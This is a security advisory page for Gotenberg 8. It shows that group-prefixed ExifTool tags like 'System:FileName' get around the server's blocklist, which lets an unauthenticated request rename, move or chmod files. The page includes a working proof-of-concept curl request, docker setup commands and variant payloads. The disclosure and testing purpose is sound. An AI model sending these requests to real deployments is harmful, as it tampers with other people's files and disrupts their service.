CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Lifecycle Timeline
3DescriptionNVD
Summary
Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag - System:FileName - which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.
This bypasses the fix from GHSA-qmwh-9m9c-h36m.
Details
Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks - "Mr. John" is not "John" - so he lets them in. But inside the club, everyone knows Mr. John IS John.
That's exactly what happens here:
The blocklist (exiftool.go line 275-280) blocks these tag names:
FileName
Directory
HardLink
SymLinkThe check (exiftool.go line 295-301) compares what the user sent against this list:
if strings.EqualFold(key, tag) { // is "System:FileName" equal to "FileName"?
delete(metadata, key) // no - so it's NOT deleted
}System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.
But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix - like a folder name before the tag. System:FileName and FileName both mean "rename this file." The ExifTool docs say: *"A tag name may include leading group names separated by colons."*
Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
// ^ colon is allowedSo the full chain is:
- Attacker sends
System:FileName→ passes the regex (colon is allowed) System:FileName→ passes the blocklist (it's not equal toFileName)- ExifTool receives
System:FileName→ treats it asFileName→ renames the file
Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.
PoC
Setup - start Gotenberg with default settings:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8Create a folder inside the container where we'll move the file to:
docker exec gotenberg-poc mkdir -p /tmp/evilSend the attack - one curl command:
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F 'files=@any-pdf-file.pdf' \
-F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'This returns HTTP 404 because the file got moved before the server could return it.
Check that the file actually moved:
docker exec gotenberg-poc ls -la /tmp/evil/Result:
-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdfThe file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory - exactly what the blocklist was supposed to prevent.
Proof that the existing blocklist works for bare names (control test):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F 'files=@any-pdf-file.pdf' \
-F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'This returns HTTP 500 - the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.
Other ways to exploit the same bug:
system:filename(lowercase) - also works because ExifTool is case-insensitivesystem:directory- moves the file to any writable folderFilePermissions- changes the file's permissions (this tag is simply missing from the blocklist entirely)
Every endpoint that accepts the metadata field is affected, including /forms/chromium/convert/html, /forms/libreoffice/convert, /forms/pdfengines/merge, and all other conversion routes.
Impact
Any person who can send HTTP requests to Gotenberg (no login needed by default) can:
- Move files anywhere inside the container by using
System:Directory - Rename files to anything by using
System:FileName - Change file permissions by using
FilePermissions(this tag is not blocked at all) - Break the service for other users - when a file gets moved mid-request, the server returns 404 errors
In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder - potentially affecting whatever service reads files from there.
AnalysisAI
Remote unauthenticated attackers can bypass ExifTool tag blocklist in Gotenberg 8.x via group-prefixed tag names (e.g., 'System:FileName' instead of 'FileName'), enabling arbitrary file renaming, relocation, and permission modification within the container filesystem. One HTTP request exploits this input validation bypass (CWE-20) to circumvent protections from a prior security fix (GHSA-qmwh-9m9c-h36m). …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
Within 24 hours: Identify all Gotenberg 8.x instances in production and confirm whether metadata-accepting endpoints are exposed to untrusted networks. Within 7 days: Implement network-level access controls to restrict metadata endpoints to authenticated internal services only; disable or restrict metadata input parameters where not required for business operations. …
Sign in for detailed remediation steps.
More from same product – last 7 days
SQL injection in Pimcore's CustomReportsBundle (versions ≤ 12.3.5) lets an authenticated user holding the reports_config
Stored Cross-Site Scripting in the Google+ Link Name WordPress plugin (versions up to and including 1.0) allows authenti
Authentication bypass in SpSoft AppLock 7.9.40 for Android allows a local attacker with physical device access to circum
Authorization bypass in the Geo Mashup WordPress plugin (all versions ≤ 1.13.19) exposes sensitive plugin configuration
Arbitrary JavaScript execution in SailingLab AppLock 4.3.8 for Android is triggered by a malicious co-installed app send
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30307
GHSA-62p3-hvxx-fxg4